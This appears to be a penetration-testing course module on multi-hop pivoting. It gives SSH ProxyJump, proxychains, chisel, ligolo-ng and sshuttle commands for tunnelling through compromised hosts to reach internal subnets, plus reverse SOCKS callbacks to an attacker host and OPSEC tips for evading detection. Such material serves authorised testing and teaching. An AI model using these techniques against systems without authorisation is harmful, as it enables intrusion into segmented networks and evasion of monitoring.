Back to All Modules

Chaining Proxies for Multi-Hop Pivoting

#Overview

In real engagements, networks are often segmented into multiple zones (DMZ → Internal → Core). Multi-hop proxy chains route traffic through several pivot hosts to reach deeply nested targets. This section covers techniques for building and managing multi-hop proxy chains.

#SSH -J Chain (ProxyJump)

The simplest multi-hop method: chain SSH connections through multiple pivots.

# Two-hop: attacker → pivot1 → pivot2 → target
ssh -J user@pivot1,user@pivot2 user@target

# Three-hop chain
ssh -J user@pivot1,user@pivot2,user@pivot3 user@target

# With SOCKS proxy on the final host
ssh -J user@pivot1,user@pivot2 -D 1080 user@target

# With local forward through the chain
ssh -J user@pivot1,user@pivot2 -L 8080:192.168.1.10:80 user@target
BASH

#SSH Config for Multi-Hop

# ~/.ssh/config - Define the full chain
Host pivot1
    HostName 10.10.10.10
    User ubuntu
    IdentityFile ~/.ssh/pivot1_key

Host pivot2
    HostName 172.16.0.5
    User admin
    ProxyJump pivot1
    IdentityFile ~/.ssh/pivot2_key

Host target
    HostName 192.168.1.50
    User operator
    ProxyJump pivot2
    IdentityFile ~/.ssh/target_key

# Now simply:
ssh target
# Automatically chains: pivot1 → pivot2 → target
BASH

#SOCKS Proxy at Each Hop

# SOCKS proxy on pivot1 (reaches 172.16.0.0/24)
ssh -D 1080 user@pivot1

# SOCKS proxy on pivot2 (reaches 192.168.1.0/24) through pivot1
ssh -J user@pivot1 -D 1081 user@pivot2

# Use proxychains with the appropriate SOCKS port
proxychains4 nmap -sn 172.16.0.0/24   # Uses port 1080
proxychains4 nmap -sn 192.168.1.0/24   # Change config to port 1081
BASH

#proxychains (Multi-Hop)

proxychains routes traffic through a chain of SOCKS/HTTP proxies. Each proxy in the chain forwards to the next.

#Basic Configuration

# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080
socks5 127.0.0.1 1081

# Traffic flows: app → proxychains → SOCKS:1080 → SOCKS:1081 → target
BASH

#Strict vs Dynamic Chain

# strict: all proxies must be reachable (fails if any proxy is down)
strict_chain

# dynamic: skip unreachable proxies (more resilient)
dynamic_chain

# random: randomize proxy order (for anonymity)
random_chain
BASH

#Running Tools Through proxychains

# Nmap TCP connect scan (SYN scan needs raw sockets, won't work through SOCKS)
proxychains4 nmap -sT -Pn 172.16.0.0/24 -p 22,80,445

# Curl
proxychains4 curl http://172.16.0.10/api/

# RDP through proxy chain
proxychains4 xfreerdp /v:172.16.0.20 /u:admin /p:password

# SSH through proxy chain
proxychains4 ssh user@192.168.1.50
BASH

#Chisel Multi-Hop

#Method 1: Chained Reverse SOCKS

# Attacker: Start chisel server
chisel server -p 8080 --reverse

# Pivot1: Connect to attacker, create reverse SOCKS
chisel client <attacker>:8080 R:1080:socks

# Pivot2: Connect to pivot1's chisel, create another reverse SOCKS
# First, start a chisel server on pivot1
chisel server -p 8081 --reverse   # On pivot1

# Pivot2: Connect to pivot1's chisel
chisel client <pivot1>:8081 R:socks

# Now attacker has SOCKS on port 1080 (through pivot1)
# And pivot1 has a SOCKS proxy from pivot2

# To use pivot2's SOCKS from attacker:
# Add another reverse forward from pivot1
chisel client <attacker>:8080 R:1081:socks
# This creates a second SOCKS port on attacker through pivot1
BASH

#Method 2: Sequential SOCKS Proxy

# Pivot1: SOCKS server
chisel server -p 8080 --reverse
chisel client <attacker>:8080 R:1080:socks

# Attacker: SOCKS proxy on 1080 through pivot1

# Pivot2: Connect through pivot1's SOCKS
# Edit proxychains4.conf: socks5 127.0.0.1 1080
proxychains4 chisel client <pivot2_host>:8081 R:1081:socks

# Now attacker has two SOCKS proxies:
# 1080 → pivot1 (reaches pivot1's subnet)
# 1081 → pivot2 (reaches pivot2's subnet through pivot1)
BASH

#Ligolo-ng Multi-Hop

# Proxy (attacker) - accept multiple agents
sudo ligolo-ng -selfcert -laddr 0.0.0.0:11601

# Agent on pivot1
./agent -connect <attacker>:11601 -ignore-cert

# Agent on pivot2 (through pivot1's network)
# Route pivot2's traffic through pivot1 first:
# 1. Add route to pivot2 through pivot1
# ip route add <pivot2_ip> via <pivot1_ip>
# 2. Start agent on pivot2
./agent -connect <attacker>:11601 -ignore-cert

# In Ligolo-ng prompt:
# session         -> list sessions (pivot1 = session 1, pivot2 = session 2)
# session 1       -> switch to pivot1
# ifconfig        -> show tunnel interface
# start           -> start routing for pivot1's subnet
# session 2       -> switch to pivot2
# start           -> start routing for pivot2's subnet
BASH

#SSHuttle Multi-Hop

# Route 172.16.0.0/12 through pivot1
sshuttle -r user@pivot1 172.16.0.0/12 --dns

# Route 192.168.0.0/24 through pivot2 (via pivot1)
sshuttle -r user@pivot2 192.168.0.0/24 --dns
# (Requires SSH config with ProxyJump for pivot2 through pivot1)

# With SSH config:
Host pivot2
    ProxyJump pivot1

sshuttle -r user@pivot2 192.168.0.0/24 --dns
BASH

#Practical Multi-Hop Example

Network topology:
  Attacker (10.10.10.100) → DMZ (10.10.10.10) → Internal (172.16.0.5) → Core (192.168.1.50)
TEXT
# Step 1: SOCKS proxy through DMZ host
ssh -D 1080 user@10.10.10.10

# Step 2: SSH to internal host through SOCKS
proxychains4 ssh -D 1081 user@172.16.0.5

# Step 3: Now you have SOCKS on:
# 1080 → reaches DMZ and 172.16.0.0/24
# 1081 → reaches internal and 192.168.1.0/24

# Step 4: Configure proxychains for deep access
# /etc/proxychains4.conf:
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081

# Step 5: Access core network
proxychains4 nmap -sT -Pn 192.168.1.0/24 -p 22,80,445,3389
proxychains4 curl http://192.168.1.50/
BASH

#Common Pitfalls

  1. Latency stacking: Each hop adds ~50-200ms latency. Three hops = 150-600ms+ per request. Expect slow scanning.
  2. proxychains DNS resolution: By default, proxychains resolves DNS through the proxy chain. Use proxy_dns in config for remote DNS.
  3. MTU issues: Each tunnel encapsulation reduces MTU. Deep chains may need lower MTU or TCP MSS clamping.
  4. Single point of failure: If pivot1 dies, the entire chain breaks. Consider redundant paths.
  5. Connection limits: SOCKS proxies have connection limits. Deep chains with many concurrent connections may exhaust them.

#OPSEC Considerations

  • Multi-hop chains create multiple encrypted tunnels that are visible in netstat/ss
  • Each pivot host has an active SSH session or agent process — detectable by process monitoring
  • Traffic patterns (steady streams to specific ports) may trigger IDS alerts
  • proxychains adds a DNS resolution step that may be logged on intermediate resolvers
  • Clean up all agents and sessions when rotating or decommissioning

#Cross-References